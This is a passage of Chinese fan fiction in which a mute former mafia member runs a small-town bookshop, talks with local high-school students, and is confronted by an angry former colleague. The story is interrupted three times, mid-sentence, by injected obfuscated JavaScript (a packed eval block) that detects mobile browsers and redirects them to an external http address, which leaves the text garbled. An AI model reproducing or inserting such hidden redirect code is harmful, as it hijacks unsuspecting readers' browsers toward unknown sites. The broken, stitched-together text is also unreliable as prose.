商家年岁已高,最大的愿望是在自己老死之前,把店里所有的商品都卖空,然后去大城市,活到自己死前最后一天,并且提前为自己买好墓地。 商家望着客人来的方向。因年老而变得浑浊的眼珠分明看清了混在雨水中的鲜血在地上流淌,往日吵吵嚷嚷直到夜里十二点也不停息的黑市赌场现在安静地像是连夜倒闭,雨声压过了本该存在的人声。 “如果您愿意的话,”商家为自己招揽生意,“店里的其他商品也可以看看,价格都不是很贵。” 佐久间弥津轻点头应下,说过段时间会再来。 打伞回公寓的时候,他遇到了等在门口的优。 接过他手里的保险箱,那年只有十五岁的优打量着他手里的伞,听到伞的价格时,一副想说什么又不敢说的样子。 “觉得贵,是吗。” “当然很贵了!这怎么看都是一把……” “都是一把很普通的伞。能用就够了,没必要挑剔。” 当年的优没有现在这么大胆,想说他在买卖上吃了亏,又不敢,怕作为直接上级的自己生气。 那场大雨持续了一天一夜,电视上有某些地区的电力供应和道路交通被大雨影响的新闻报道。 他两天没出门,保险箱里的东西被优带回总部。 以“黑手党技术产物”为名卖给他的伞虽然贵,但以他的工资并非付不起。他一直带着,从英国带到法国,又从意大利带到日本,这把伞和他辗转了很多城市,很多个国家,他也多少能感觉到伞的奇特之处。 抛却其不知是不是被编造出来的背景故事,用来遮阳遮雨真的很不错,还能抗一定程度的风。 那家黑市里的商店和其他诸多商店一样,会卖市面上少有的,从黑色产业链里截胡的产物,或者游走于黑白之间,不能公开买卖的商品。 他没有那么丰富的需求。过了足有一年之久,他又一次拿到了清洗任务,才再次光顾了那家店。 还是雨天,他撑着那把黑伞,从道路另一边走近商店,看到了坐在门口摇沙滩椅上的商家。 商家比去年老了,但精神头还是那样,推销商品的劲头一点没变。 商家看到那把伞,瞬间便认出了他,一边笑着问他这次想要些什么,一边询问这把伞的使用感想。 “很耐用。” 他问商家,这一年有没有把商品多卖点出去。 商家遗憾地摇了摇头,说不亏不赚,但好在他专门花大钱去医院体检,身体没有严重的毛病。 “希望上帝能保佑我再活十年。” 商家实话实说,店里已经没有什么好东西了,“剩下的货没稀有的,不可能升值了,你按成本价买,也会砸手里。但想要好看有趣的小玩意,倒是还有点剩的。” 雨下得很大,冲刷着凹凸不平的石板路。天空像被泼了墨,又被廉价毛刷涂抹开,乌云不均匀的重叠堆积,天色阴沉,店里必须开灯。 这种时候不会有顾客上门的。商家很耐心地把店里仅剩的有趣小玩意翻出来给他看。这次商家没有编故事,用花言巧语为自己赢得来之不易的交易,而是把购入价直接告诉他。 镶嵌式的玛瑙戒指,硬度惊人;双面都有花纹的火漆币;据说是手工雕刻外盒花纹的八音盒;双色的沙子堆积起来像泛着浪花的海面一般漂亮的小沙漏。 进购价都很低,看来商家是捡漏的高手,可惜没卖出去。不像黑市的商店,倒像游戏新手村里什么都卖的万事屋。 他都买了,带回去送给了常来往的同事和下级们。 火漆币给了优,优当成了决策币。玛瑙戒指给了染崎,染崎把戒指大卸八块,内置传感器后打造成了一枚新戒指。 沙漏是在他的办公室里看到之后,水落自己要走的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519363|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八音盒送到了中也先生的办公室,一直摆在架子上,没人动过。那个八音盒是什么曲子,他自己也没听过,外观好看的东西,一律当摆件用是没错的。 ……都是很早以前的事了。 住在不被异能力者组织染指的偏远城镇,有好有坏吧,他不是很想当都市传说。 优这两天联系过他,说自己被水落驱逐到阿□□翁。公报私仇的人大有把他拖在法国一辈子的打算,“那个混蛋仗着横滨部门现在没空管他而已。” 【横滨还没安定下来吗】 不应该这样。他是不熟悉太宰治的手段,但中也先生也一直在国内,横滨的局势早该被他们二人联手控制下去。 他忍住询问中也先生近况的想法,可优回应的话里还是提到了。 “差一口气。新首领的安危没有保证,中原干部要呆在国内。我离开之前,就是这样的情况。” 【你也小心点】 他在语音消息里听到了枪声。 半个小时后,优发了张当地天空的照片报平安。 其实,优和他之间不应该再聊组织的事。即使优不在乎,原则上也不可以。 “还有,横滨部门多了一些新人,但没有被安排去欧洲部门的人。有个很怪的小子,是被新首领从孤儿院带回来的。控制不好自己的能力,中原干部对那小子也不太满意。” 【哪个孤儿院】 “名字我不记得,但据说离市区蛮远。很奇怪吧,一个流落在孤儿院的异能力者……在横滨也算暴殄天物吧。” 他本能地记住这条情报,下一秒却意识到自己又触及了原则。 和过去藕断丝连,该消失的情感和本能就会像八爪鱼一样缠绕着他,不至于伤害他,但会让他困扰许久。 还是着眼当前更重要吧。 佐久间弥津不知道自己发呆了多久,再回神,梅宫就出现在了自己的视野内。 梅宫一拉开店门看到的就是老板靠着椅背,神态如平日般沉静,仰头盯着天花板发呆。 桌上的屏幕全都黑着,只亮着表示待机中的指示灯。房间里没有酒气,老板手边放着一个空掉了气泡水饮料瓶,今天居然没有喝酒?他来得真巧。 老板并不知道棪堂哉真斗和风铃的过去,但知道那人有点来者不善的意思。以往遇到那样的角色,以前的他——“他们”,会选择先下手为强。 看到老板发给他的消息,梅宫一片刻没有耽搁,只身离开学校来到了店里。 店里摆设一切照旧,桌椅摆放得井井有条,书本也规规矩矩地呆在书柜里正确的位置上,没有发生冲突的痕迹。 他就知道神秘如都市传说的老板不会有事。 佐久间弥津抬眼看向进门的人,递上调出视频的平板电脑。 来路不明,穿着风铃高中校服的人进到店里,被监控摄像头拍下了全流程。 后来发生的事,佐久间弥津没有展示给梅宫看,那是他要为自己保守的秘密之一。 没有人的一生绝对普通的。这座城镇的人们本就过着并不全然平静的生活。 那个人的名字是棪堂,哉真斗。他本可以不过问那个人为何要踏入商店街。 这也是和横滨不同的情况。 这里只有不受官方承认、但也不受官方约束的本地帮派和结社组织,社会秩序更多依靠珍贵的“自觉”。 可看穿着风铃高中校服的梅宫匆匆赶来店里,大概真的是不得了的情况。 【棪堂哉真斗想做什么】 他问。 梅宫没执意瞒着他。这正是他欣赏梅宫的地方,想法很成熟,也不会一意孤行。 手肘抵着桌子,手撑在脸上,他歪头听梅宫解释风铃高中的高年级学生们同那人由来已久的冲突。 嗯……其实是对风铃高中和人生的理念不同吧。 不知不觉间,他耳边的声音消失了。 当梅宫一从那双玫红色的眼睛里看出几分询问意味时,他才发现自己走神了。 “呃……总之就是这样的事了。”梅宫一笑了笑,找其他话题接自己的话,以掩饰方才走神的尴尬,“佐久间先生以前不是也遇到类似的事吗?‘下战书’什么的。” 梅宫一不知道自己唤醒的是佐久间弥津更久远的记忆。 佐久间弥津若有所思地点头,算是同意梅宫的话。 【你们要怎么做】 不等梅宫回答,思索片刻,佐久间弥津继续问道。 【苏枋他们在做什么】 他和自己的书店受过少年们的“恩惠”,但这些天他们的确很忙的样子。 8. 吓到人的都市传说 橘琴叶当然知道那家新开的书店。 商店街不是多繁华的街道,哪里有新店,哪家店要搬迁,邻里街坊都一清二楚,更别说书店就在离绿萝不远的地方,她的友人还帮店主搬过东西。 她没有机会和年轻的男店主说话。但在某个天公不作美的日子里,店主借过伞给她,和她的交流只靠点头和摇头就能够完成。 欸?是因为他的嗓子受过伤,所以说不了话? “……你那是什么表情。” 嘟囔了一句,樱遥狠狠挖了勺色香味俱全的蛋包饭,但眼神下意识地飘向桌边。 对别人提起老板的事,他莫名有点紧张。 “啊……抱歉抱歉,”橘琴叶说出自己心底的想法,“我只是在想,帅气的好心人却有严重的伤病,好可惜。希望有治好的可能。” 橘琴叶没有注意到樱遥吃蛋包饭的时候走神了。 上一周超忙的,让人不知周末,也不知日期。 那个家伙给风铃下了战帖,所有人都在为之做准备。 但老板还是老样子。喝酒,打游戏,看店,然后眼睁睁地看书店亏本,之后,继续循环前一天的生活。 外地来的老板和风铃的事八竿子打不着,那么神秘,连梅宫都不知道老板的来历。 今天经过书店门口,他意外看到门上挂了“暂停营业”的牌子。透过玻璃看进去,东西还是那么些东西,通向小隔间的门没关紧,开着一条能让人看到里面摆着一张单人床的巨缝。 苏枋和榆井都说最近去店里,老板仍然在十分专注地打游戏,十指在键盘上翻飞,和以前一样不关心营业额。 老板喝酒打游戏的快乐,他们似懂非懂。可能等他也成年了,才会完全理解老板的作为。 人站在高处,迎面的风都比别处更凌厉。 靠着栏杆,樱遥望着桥下的街道,把自己的想法说给十龟条听。 先不说狮子头连的人有多少知道棪堂哉真斗的底细,他知道这样的请求有被拒绝的可能…… 樱遥眨了眨眼,原本严肃认真的眼神在认出从他眼皮底下走过的人时变得震惊又慌张。 他抓着栏杆,向外竭力探出上身,惊呼道,“老板?!” 老板怎么会在狮子头连的地盘,还一副“完美路人”的形象,简直像在饭后散步一样悠闲! 青年循着声音抬头,他对上了那双干净透亮的眼瞳。可老板的视线不只在他身上停留,连带着他身旁的十龟条也一同落入那片夺目的玫红。 十龟条的语气则更是疑惑。是那个人,“原来你们认识。” 那个气质十分特别的男人。他们偶遇时,这个男人在仰头观察路灯。那般古怪的行为,想忘掉也难。 樱遥扭过头,和十龟条面面相觑,他们都从对方眼里看到了意外。 “你见过他?”樱遥问。 “算是。你叫他‘老板’……他是什么老板?” 佐久间弥津的工作——无论是曾经的,还是现在的,都会让人产生好奇。 这个在东风商店街开书店的人,以前在做什么,又为何要在那条商店街开一家意义不明的书店。 站在地面仰头望着他们的人不说话,十龟条也找不到问题答案所在。 “别忘了!” 急匆匆丢下这句话的人动作利落地翻过栏杆,面朝墙跳下时双手抓在墙面凸出的地方借力,轻巧平稳地落到地上,落到那个被称为“老板”的男人面前。 “老板”的视线也随着樱遥的离开,从十龟条身上转移。 其实正如樱遥所想,佐久间弥津只是在散步。 虽然他在散步的同时还会回忆过往。 他不喜欢国内部门的氛围。 特别是切身随同中也先生在国内解决森先生“死亡”的麻烦之后,他更加坚信这一点。没有森先生的横滨部门,总感觉怪怪的。 当年说服他进组织的人不在了,他一时间难以接受这个事实。 他们可以把工作和生活分开,但也会有自己更喜欢的一方。他辞职之后,优也没能在横滨部门呆太久,就决定回欧洲部门。 他们的想法是一样的。 欧洲部门和国内部门的最大区别在于氛围。领导者的性格不同,是导致出现如此差别的原因之一。 不忽视黑手党的本质,在工作之余,部门里也会有轻松畅意的时刻,时时刻刻都是高压锅般的环境对他们而言没有好处。 高压之下,什么都会碎掉,人心如此,支撑脊背的骨头亦然。 工作中精益求精,生活里却多少有点不拘小节,当时已经全权负责起欧洲部门工作的中也先生就是这样的人。 对待任务的态度和生活的态度,不完全混为一谈,他们——大言不惭地讲,他和优,水落与自己小队的成员,都算得上欧洲部门里的中流砥柱——和尊敬的上司在这一点上也算相像。 国外不同于国内。在语言和文化同本国差异显著的国度,遇到的困难复杂度更胜一筹,如果任务中出了差错,他们要花双倍甚至多倍的精力去弥补。 他的嗓子只是最微不足道的代价。 他身边的人不会在言语上为难他。会为难他的很快就会变得没机会为难。 他也从不觉得自己变得无法像正常人一样说话是很难以接受的事。用手势,用肢体语言,用他丢在行李箱最里面、自从离开组织就再没用过的小玩意,方法很多。 只不过,和没坏心思的少年们交流,打字就够了。 他看向身边的少年,等少年开口。 其实樱遥想问为什么老板会在附近出现。可转念一想,他问东问西,老板不方便回答。 少年的问题憋在心里,但表情藏不住事,佐久间弥津瞧得一清二楚。 【我去了港口。绕路散步】 心里的一部分疑问得到解答,樱遥的心思依旧扭成被猫抓得乱糟糟一团的毛线球。 “你……先别把刚才的事告诉其他人。” 老板的眼神似乎在问他“为什么”。 哪有为什么!还不是因为…… “那还是没有定论的事。而且,你知道多少?那天在京成街出现的家伙其实是……” 话说出口,樱遥立马后悔。 他的问题这么多,老板也回答不了。 一想到这些,他心里就开始生自己的闷气。 把少年的神色变化看在眼里。与其隔着半步远一同走回街区的老板在手机上调出一段视频。 他不是想吓唬本就心情有些郁闷的少年,可看过那段视频录像后的少年脸色显然更加难看。 “那家伙为什么会去找你?!” 【路过吧】 老板回答得理直气壮,波澜不惊的神色也和平日的寡淡神情别无二致,让心情激动的少年像被浇了一盆冰水,立马冷静下来。 然而不久之后,樱遥真的拿到了一瓶冰过的碳酸饮料。在他和老板一起回到书店门口的时候。 他要回风铃去,同自己的伙伴们待在一起,而老板会继续呆在自己的书店里,直到打烊的时刻到来。 老板招手让他跟着自己进店里。 老板打字的速度再快也赶不上他用嘴说话的速度。他不得不放慢说话的语速,压抑心中翻涌的情绪,少问几句。 【我和梅宫聊过了】 刚从冰箱里拿出来的碳酸饮料被放进原本为外带书籍准备的厚塑料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519364|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋,然后塞进他手里。 老板出门没戴手套,短短十几秒,手指就被冷饮冰得微微发红。 他立在一边,而老板继续在平板电脑上打字。这次等的时间略久了点。 书店里一切照旧。心态极好的老板没有因为被危险的家伙找上门就决定闭店休息。桌边的垃圾桶里丢了几张被撕碎的便签,但好在没有让人看了觉得老板无可救药的易拉罐装啤酒瓶。 帮老板打扫书店是半个月前的事了。摆满书本的书架即使不说一尘不染,也算得上没有积灰,在他们没有时间光顾的日子里,老板应该自己细心打扫过。 展示在他眼前的平板电脑屏幕上有几行字。 【梅宫对我解释了他的来历】 【信念无法达成一致所导致的纷争并不罕见】 【能保证对方不会采用枪械的话,就再好不过了】 【你们约定的日子也许是个雷雨天】 樱遥沉默以对。他不知道该说什么来回应老板的话。 使用枪械……那不可能的。 “啊,对了,还有。” 樱遥突然想起,为什么狮子头连的人会见过老板。 他的话反倒让老板面露些微不解,打字的手犹豫了一下。 【什么是狮子头连】 反问一出,他和老板相对无言。 佐久间弥津对搞懂“本地帮派”势力没兴趣。这里有能威胁得到他的人?他不这样认为。哪怕真的有,谁又会对一个看起来毫无攻击力书店老板发难。他如今应该很像手无缚鸡之力的文人。 少年对他毫无知觉的态度感到十分无奈。 “你也太没戒心了吧。” 没戒心的意思是他对谁没戒心。对叫棪堂哉真斗的人?还是“狮子头连”。 老板叹了一口气。樱遥看在眼里,他却没能明白老板的意思,差点以为老板觉得他多管闲事。 【我不会有事的】 少年不了解他,有这样的误解也在所难免。 他不会随意破坏这座城镇的“规则”。 这座城镇治安不好,到处都可能有为非作歹的人。 但好在这里尚未被不该插手此地的势力触碰。 混乱又偏远的现代城镇,是最适合滋生黑暗的土壤。从土地中汲取到一点养分就能存活,是罪恶能活跃在世界的每一处而不被彻底消灭的原因。他不想引起外界的关注,也不想让这座城镇被真正的、被梅宫他们作为学生无法承受的动乱吞没。 樱遥此刻却忽然在某个角度想通了。 即使老板不再解释,只是用那双如今熟悉得会出现在幻觉中的眼睛注视着他,似乎在等他回应。 他——自以为——明白了。 为什么就连风铃高中的总代表都会说老板“是个很厉害的人”,为什么在京成街那天,老板对那家伙身上的气势恍若未闻,又为什么老板的嗓子受过极其严重的伤,而且从外地来到这里,不顾盈亏地开一家书店。 “老板,你不会是——” 刚刚还提到了“枪械”这种东西。 他没发现自己下意识紧张地握紧了拳头,对老板说出心底的猜测。 “——潜入城镇,在暗中调查什么的警察或者军人吧。” 认识这么多天也没见有情绪波动的老板脸上少有地露出呆滞神情,很生动。玫红色的眼睛一眨不眨地看着他,像是被他的话震惊到失去思考的能力。 似乎终于理解了他的话,老板的脸上有一瞬间露出一抹浅薄笑意,但很快恢复最初的淡然模样,在平板上打出了一行字。 【很可爱的想法。但很遗憾】 樱遥的脑子里轰得一声炸开几朵色彩丰富的云。 9. 被逮了个正着的都市传说 今日是大晴天,到现在为止是如此。 天气预报里有雷雨天的一席之地,但现在的天空尚见不到乌云的踪影。 每日看店的日常没有旁人想象中枯燥,因为佐久间弥津从不考虑这点。他考虑的是当天要不要去港口散步,冰箱里的存货还有多少,优有没有发消息给他,需要及时回复。 即便店里不会有客人上门,佐久间弥津仍然会在每日八点前起床,从里到外收拾好自己,再从家步行来商店街。 今天稍微有点不一般。刚把钥匙插进锁孔,他扭头看向笑脸迎人的少年。 “早上好,佐久间先生。” 他点头,当做打招呼。今天可不是休息日。 从少年身后跌跌撞撞跑来的金发少年,一边跑,一边翻手中的笔记本,看到他的时候,神色更加慌张。 他希望少年们能知道他在用眼神问“发生什么事了”,他会耐心听二人的来意。 苏枋隼飞只是有点在意。 昨天下午,樱回到学校之后,状态变得十分奇怪。虽然以前也有被学长下重手的时候,但因为心神不宁而收获意料之外的重击,这种理由可没人愿意听。 樱则坚决否认自己是因为棪堂哉真斗和焚石矢的战帖走神。 苏枋隼飞偏头看到了摆在地上的东西。 饮料瓶和樱的校服外套摆在一起的。他蹲下去,伸手去摸,摸上去凉凉的。 答案昭然若揭。在回学校之前,樱有可能见过佐久间先生。 但学长们不一定认识佐久间先生。他扯谎打了个圆场,才让学长们放过根本没说实话的友人。训练结束之后,樱离开学校的背影还有点说不出的仓皇失措。 是遇到了什么。 榆井秋彦没从饮料瓶上发现端倪,但苏枋隼飞会告诉他的。 听闻二人的来意,佐久间弥津缓缓点了点头。他在思考。昨日和少年的对话里哪些是能讲的,哪些又是绝对需要保密的。 他第三次拿出那段监控录像。他没想到这段录像对风铃学生的冲击竟然大同小异。 出现在录像中的人影穿着风铃高中的校服,戴着兜帽,刚进店门时看不到脸。但当来人摘掉帽子,露出那张让人难忘的脸,他们都认出来了。 榆井秋彦的脸色一瞬间变得煞白。 录像中的人还在朝着老板靠近,直到录像的最后,伸手撑在那张摆满设备的桌上。 监控录像自带时间日期,苏枋隼飞按日期推算,恰好是棪堂哉真斗向风铃下战贴的那日。 “佐久间先生,那天……没发生什么事吧。” 他们这段时间再忙,偶尔也会经过老板的店,可就算他们进店里打招呼,佐久间先生也根本没和他们提起这件很重要的事,还是一如既往地独自看店、打游戏……他们确实没发现店里有遭遇意外的痕迹。 坐回桌后椅子的老板打开电脑,对他们摇了摇头。 如果樱是看过这段录像才那么心神不宁,一切都说得通。 “那个人来店里的时候,还说过什么吗。” 面对少年们关切的眼神,佐久间弥津不打算把那日的事像对梅宫全盘托出一样向眼前的少年们说清楚。 既然已经被曾经是风铃学生的棪堂哉真斗及其同伴以整个街区的安危作威胁,就不必额外支出其余感情,年纪尚小,经验也不足的少年们恐怕很难做到一心二用。 【没什么】 为了掩饰自己不得已的敷衍,他转而提起其他话题转移少年们的关注。 【昨天,樱猜了我以前的职业,但他猜错了。你们要不要也试试】 从惊慌中逐渐恢复的榆井秋彦看到这样的文字,条件反射般拿起自己的笔记本。 “那个……佐久间先生,樱哥昨天猜的是什么职业?” 看上去情感淡漠的佐久间先生其实意外地很好交流,甚至愿意和他们聊这样的话题。 【军人,和警察】 “什么!樱哥猜的居然是这个吗?” 同样一脸诧异的苏枋隼飞从惊讶中回神,“怪不得樱会有那样的反应。自己所想的答案斩钉截铁地说出来之后却被否定,的确会让人尴尬很久呢。” 对好友的关心自此演变为一场旷日持久的猜谜游戏。 榆井秋彦回头看了一眼满屋的书,“是……教师吗?” 教师离职之后,会开一家书店,也是很合情合理的嘛。 启动不知名游戏的老板冲他们摇了摇头。 浅浅思索片刻,苏枋隼飞也给出一个答案。 “是艺术家吗?” 和书作伴,不在乎生活的城镇是繁华还是贫穷,说不定是精神层面极其丰富的创作型工作。 起身去小隔间拿酒的老板摆了摆手,表示也不对。 老板把酒当饮料喝的习惯真是让人感到无力。 似乎发觉他们二人心中的情绪,老板把拿到手的啤酒放了回去,重新拿了一罐正常得不像老板会喝的常温易拉罐装黑咖啡。 老板拿着从没见过的黑咖啡回到椅子上,少年们在心里偷笑。 原来老板的“饮料柜”不知不觉间上新了。 但他们的猜测都错了。 “那么……以前的工作会经常出差吗?” 拉开易拉罐扣环,老板想了想,好心提醒榆井。 【我一直在国外部门出差】 “诶?是哪个国家?”居然“一直”在出差吗? 【很多,在欧洲。偶尔去拉丁美洲】 拿着笔记本,榆井秋彦十分难下笔。以他的见识,很难形容这是一份怎样的工作。 “难道是有名的跨国公司?” 【有名还谈不上】 老板默认了是“跨国公司”。 少年们冥思苦想,从经济公司高管到科技公司研究员,收获的唯有老板的否认,否认,一再否认。 少年们放弃了。 他们已然理解了昨日回答错误的同伴为何会有那种反应——但这样的理解在佐久间弥津并未说明实情的情况下,毫无疑问是错位的。 不过,这样的结果很好,关于棪堂哉真斗的话题就这样轻松揭过。 离开时,少年们还在想世界上为什么有那么多工作。 他们猜了好久也猜不出一个就职于跨国公司、常年在国外出差、能赚很多钱、假期不固定、工作地点在几个国家来回跑的工作究竟是什么。 苏枋隼飞注意到榆井目不转睛地盯着笔记本,但眼神茫然,显然不是在读纸上的东西,连面前就是立式广告牌都没发现。 险而又险地在撞上立式广告牌前刹住脚步,榆井秋彦既震惊又怀疑地扭过头,对同伴说道。 “佐久间先生以前不会是飞行员吧?” 苏枋隼飞举手提问,“航空公司属于跨国公司吗?” 榆井秋彦陷入了痛苦纠结的头脑风暴之中。 好像,也不会是吧。 苏枋隼飞的脚步在班级门口停下。 门后是喧闹的班级。 榆井秋彦侧过头,疑惑地看着不开门的同伴。 “榆井,我们好像忘记考虑一点。”苏枋隼飞语速缓慢地说道。 什么? 苏枋隼飞指了指自己的喉咙,看向榆井,低声道,“老板的伤。” 他们都没有从这一点出发去考虑。 “樱认为老板以前会是军人,大概是太关注这一点。” 而他们则是太忽视这一点。 如果在前置条件里加上“会有几率遇到危险”…… 唉,即使加这一点,似乎也想不到答案呢。 佐久间弥津不会想到少年们能思考那么久,直到离开店里,回到学校,仍然在绞尽脑汁寻找答案。 咖啡味取代了麻醉人神经的酒精味道,在书店上空飘荡,而后又随时间沉淀在店里的每一个角落。 他以前很少喝咖啡。 虽说咖啡有提神的效果,但他要的不是提神醒脑,而是在可以休息的时候立即进入休息状态,在工作的时候又能毫无阻碍地立即进入工作状态。 任何一种带咖啡因的饮品都可能影响他的状态,所以他很少喝。 可他现在已经辞职了。 想到这点,他的心情突然不合时宜地愉悦起来。 不用随时准备执行下一份任务,也没有必须强迫自己保持清醒的时刻,咖啡和茶,现在成为了等同于果汁饮料和酒精的东西。 他辞职时完全没有考虑到,放下工作后他的一天会如此轻飘飘的,好似像大西洋上空的热气球。 城镇上店铺的租金普遍不算多,而且他的店面没大到哪去;店里没有客人,他就不用大费周章地考虑和陌生人沟通时会不会陷入猝不及防的窘境;没人认识他,一切节外生枝的事都会被扼杀在襁褓之中;还能和性格各异的少年们聊聊最近有没有发生有意思的事,不会完全与世隔绝,把现代都市生活过成百万年前的原始生活。 还能去港口吹风,听海,看夕阳。 自己曾经做出的,在心理层面近似于“叛逃”的决定,即使不是满分答案,也绝不是错误的。 那时他没来得及想太多,只想尽快从那个令人窒息的地方离开。 “治病”的理由掩盖了太多私心。知情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519365|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人会祝愿他早日找到医术高明的医院,医术高超的医生,把病治好,最好别再是那副被说话耗尽力气的好笑又可怜的模样。 他受伤后,没机会再去黑市,也就没再见过那位上了年纪的商家。优根据他的描述,在黑市找到了位于道路转弯处的商店。 商店关门了。 优向附近不少人打听过,都说商家低价卖掉囤积的货物之后,关店搬去其他城市了,用不了多久,就会有新的租户来店面旧址开新店。 这就是他关于那家店最后的消息了。也许正像商家几年前说的那样,带着毕生的积蓄去了其他城市度过生命中的最后一段时光。 新店是咖啡店还是点心店,又或是售卖不法商品的地方,什么都好,他不会在乎。 那把跟着他走遍欧洲各个分部的伞,如今也被他带来这里。下雨的时候会拿出来用,起到一把正常且普通的伞的职能。 少了会躲在他伞下的优,伞下变得非常宽敞。 店门被用力拉开。 格外明显的咖啡味让来人眉头一皱,“你以前不是不喝这东西吗,嫌咖啡苦,然后加糖又嫌甜。” 他在心里偷偷叹了口气。 优被此刻站在他面前的人指派去了其他地方,而且故意拖任务时长,以免优利用任务中喘口气的时间回国找他。 他能感受到水落此刻身上的每一种心情。 是有想过水落会追过来,但没想过会来得这么快。 那双灰暗的眼眸里生着红血丝,最近似乎没有好好休息过。怒火和阴冷在那片迷雾中像深林中地表虬结的藤蔓一样扭曲重叠,让他不知如何是好。他离开横滨近乎两年,不清楚组织的情况,他也拦着优不要把那些事当成八卦讲给他。 但水落该明白他的意思。 这里是他休息的地方,是组织成员不该来的地方。 “你要赶我走?你怎么敢这么做。” 可以的话,他当然希望水落尽快离开,这一身戾气,实在容易让不知内情的人心声恐惧。 但假如他在水落面前表现出置身事外的冷淡态度,水落也许会任凭坏脾气上头,干出一些……令人遗憾的事。 既然工作很忙,就不要挤出时间回国找他,他宁愿看到水落把这段时间放在休息上。 “为了找到这个贫瘠的、连飞机场都没有的小地方——” 水落望音把手上的箱子甩到地上,不顾其“咚”的一声巨响。 “我只能亲手提着这破箱子来,‘亲手’!” 佐久间弥津比了个“嘘”的手势,想劝水落小声点。 可来人正在气头上,谁也劝不住。 压抑许久的复杂情绪在见到佐久间弥津的瞬间就一股脑爆发。不管有没有别人听到,也不管眼前近两年没见的人脸上摆出何种表情,水落望音只管想到什么说什么,把心底积压的怨气一次性清空。 抓起桌上没扔掉的易拉罐,他用力握紧。易拉罐不堪重负,瓶身扭曲,像一团无力反抗暴行的棉花。 “你现在连咖啡的苦味都能忍了,以前怎么没见你把咖啡当水喝?” 怎么把他说得好像是个超级脆弱的人一样。他以前是在刻意控制咖啡因摄入量而已…… 单方面的争吵还在继续。 佐久间弥津熟悉好友的性格,这种情况,等水落把情绪发泄完就好了。 他默默想着,伸手把被水落握得不成样又丢在桌上的易拉罐推进桌边的垃圾桶。 离开组织前,他和水落是同级,水落没有教训他的权力。 但现在不一样,水落一时冲动想一枪崩掉他都合情合理。 【欧洲部门的工作怎么办】 他在平板电脑上打下这句话。 水落来这里见他,欧洲部门的工作怎么办。 发觉水落陷入异样的沉默,佐久间弥津心中顿感不妙。 傍晚走过商店街即将各自归家的少年们看到的就是如此吓人的一幕。 一直以来对他们有额外关照的老板有些恍惚地看着身前抢过平板电脑的青年,而一脸怒意的青年则对着老板单方面发泄愤怒。 这是堪比棪堂哉真斗闯进商店街那般危险的事! 门上既没挂暂停营业的牌子,也没锁,一拉就开。 “用不着你催我回去工作!你现在过得是什么糟糕的生活?” 几乎是吼出这句让少年们听了发愣的话,留着浅蓝色半长发的青年扭过头来,盯着他们。 漠然的目光里充满明晃晃的嫌恶,冷淡如冰的语气和上一秒的冲动愤慨截然不同。 “这些学生是什么人,弥津。” 10. 评价前公司的都市传说 水落望音不想质问好友为何要以“治病”为理由离开组织,也用不着相识多年的人赶他回去工作。 “如果被别人发现你没有去治病,而是跑到这种地方来,你知道自己的下场。就算有其他人求情,中原干部也不会对你网开一面。” 唉……不要仗着他回答不过来就一口气说这么多话。 【不会的】 就算他的现状以一纸文件送到前上司的办公桌上,作为已经辞职离开的人又能掀起怎样的风浪呢。 他想置身事外的态度又把友人惹急了。 “难道你真以为中原干部对你的宽容大度没有前提吗?” ……有吧,应该有。 “你很委屈吗?” 调查出好友所在之地便连夜赶来的人顿时火冒三丈。 他在英国等了半年都没等到跟着中原干部回国的人。 苦等半年最终等到的是好友再也不回去的消息。 “当初为什么要走。而且,你知道吗,你现在很像情场和职场都失意于是一蹶不振的糟糕男人。” 不仅会喝自己过去不习惯的东西,连这种没滋没味的酒居然也上得了你的餐桌。 “生活品质严重下降,你不如回来。我会对中原干部作证是你找不到合适的医院和医生,而不是找借口名正言顺地脱离组织。” 佐久间弥津不甚在意地又打开一罐啤酒,坐在沙发上,对好友摇了摇头。 组织里暂时不缺他这等人,回不回去,有什么区别。平价啤酒喝起来确实口味差点,但他不在乎。 他在城镇的房子不大。一个人住,何必费心在住所的优劣上。客厅的小茶几只摆了水落带来的箱子就被全部占满,一丝多余的空间都没有。他朝站在茶几前面的水落递过一瓶同款平价啤酒,然后摆了摆手,表示他挡住自己调电视频道了。 “……哼。” 水落望音不满地拉下扣环。力道之大,眼神之凶狠,似乎把无辜的易拉罐当成了沙袋。 二人的酒量都相当不错,各自喝掉一瓶啤酒,眼神依旧清明地能把账算得一清二楚。 电视上的综艺节目没有营养,但二人的眼睛依然盯着屏幕,没有看向彼此。 “那些小鬼是什么人,附近的学生?一副好像和你很熟的样子。” 看他的眼神警惕得很,让人火大。 从液晶屏幕的浅浅反光中,水落望音看到好友点了点头。 他没好气地冷哼一声,余光瞥见好友摁亮平板,好似准备给他打一堆长篇大论。 